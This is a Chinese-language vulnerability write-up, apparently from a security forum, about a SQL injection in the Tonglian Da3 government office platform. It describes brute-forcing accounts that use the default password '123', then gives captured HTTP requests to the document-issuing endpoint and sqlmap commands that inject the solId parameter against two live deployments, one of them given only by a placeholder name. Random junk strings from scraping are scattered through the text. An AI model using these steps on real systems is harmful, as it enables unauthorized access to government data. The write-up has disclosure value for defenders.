同联Da3协同办公平台前台通用sql injection漏洞

admin

6 [+ [0 @: V: g( o 平台简介： * b8 y3 L$ a3 Y4 M& r$ C& E

6 f' G8 \" k# x" R4 v: e$ T/ w

  # `0 Q" Q x; G; a

! S; ~- x' u/ T5 Y" A0 |

5 V8 d# p4 |. Y, Y1 v, U2 U 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
0 [ l* x# A% P- C0 _3 W同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
, a+ u1 I4 W1 ^/ ]同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

. p6 Y4 E7 j. K: M

  t5 [" D6 Q" z! N. v% \

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： / R1 D o4 T3 Y

5 ]5 z& b0 H) D) t% o: ]( l' @

  0 L% v& F8 N2 g3 [' a

http://1.1.1.1:7197/cap-aco/#（案例2-） & i7 |, Y; @& Z9 s$ @! l

) M' f6 Y/ B- d4 s+ s

http://www.XXOO.com （案例1-官网网站）

 

( H) V5 `: G# c, h/ b% F

0 A9 g9 I: L% m 漏洞详情: * H& e5 Y6 _' `# E; ~7 W1 Z9 a

4 ]5 s: t# s2 N! W$ i) r  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

: _/ j' u% y1 b0 f   6 A2 ]# I% s9 F; B* f& {- Y5 I

# t8 m- O' ?& V N8 Q

 

' k% Q7 _; O& f2 F2 A4 d/ H

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

) x& K/ x- U! }0 x) x5 w( K

/ x( j( v9 I! x; g0 O$ E 1、案例1-官方网站

- v! u0 c- N8 r4 [

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

: p9 r1 Q) z& e* k) Q2 l Host: www.XXOO.com % B; X, r7 I% ~ ~7 m d; M3 h

' K, a9 b4 Y1 `

Proxy-Connection: Keep-Alive 3 C+ y6 V9 _$ G: n. Q: ?2 D

0 J& g- K& X6 |( q Accept: application/json, text/javascript, */*; q=0.01

4 j" p" P0 H4 h! ?& d6 H/ F

+ }; N* H2 {) c: o: {( U Accept-Language: zh-CN

( J+ i" v% `, j4 w

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

X-Requested-With: XMLHttpRequest . A: v; c$ ^. A$ u7 P$ x# {

* A7 m- J% b0 y u/ T Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 + Y- d" {8 S: J+ E

! C* _; @( z6 s0 g7 n: C" h1 `) p Accept-Encoding: gzip, deflate, sdch

& `( R9 N/ e* N

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 9 g% m! e/ E/ c8 C, a8 L) D

% W- i, X, b% i4 e+ ?

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ) _6 m& ~, Y/ G4 z) P8 }$ r) n

( U& z* z. F# D9 [- s o) g. @0 ^

 

 

  " _7 a8 f8 G) v3 T0 P& i

7 Y/ x6 v: }: V% \7 m+ \

 

/ _! b" r9 D; E& a3 L

( }$ u* @" i& x+ T& R1 C5 E  

' c3 g2 K( M6 C# d" U 2、案例2-某天河云平台 ) Z) b& ~9 w5 o5 C. Z

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 : @/ G& D7 h1 P; T

% z# y+ }; m: d, B& M3 D# j Host: 1.1.1.:7197

3 V6 k, d# k% P8 _. y- S

5 @, V8 r+ z w% v1 ` V3 R2 M Accept: application/json, text/javascript, */*; q=0.01

) x, m3 E4 M0 j2 ]# i X-Requested-With: XMLHttpRequest

( ^3 p2 g% n" `

% `2 Z8 _+ v e' W! d- G User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/json

3 Z) {$ f$ J9 g7 }( u" m1 g. M Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 7 k% i( W. j( q- B$ m. M

4 ^0 O) c6 A% m$ I3 c

Accept-Language: zh-CN,zh;q=0.8 9 _1 E6 J2 l+ N" Q$ R; |

$ M2 D& I/ N2 t# W6 O) e Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 8 f0 J; X5 y/ h3 r2 K* H7 N9 N

/ Z- O4 z4 j- _! _1 q

Connection: close ! J8 _) ^% \7 _

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: # Q- N& U9 @1 ^1 Q y1 ^

 

# L; i; B7 N3 {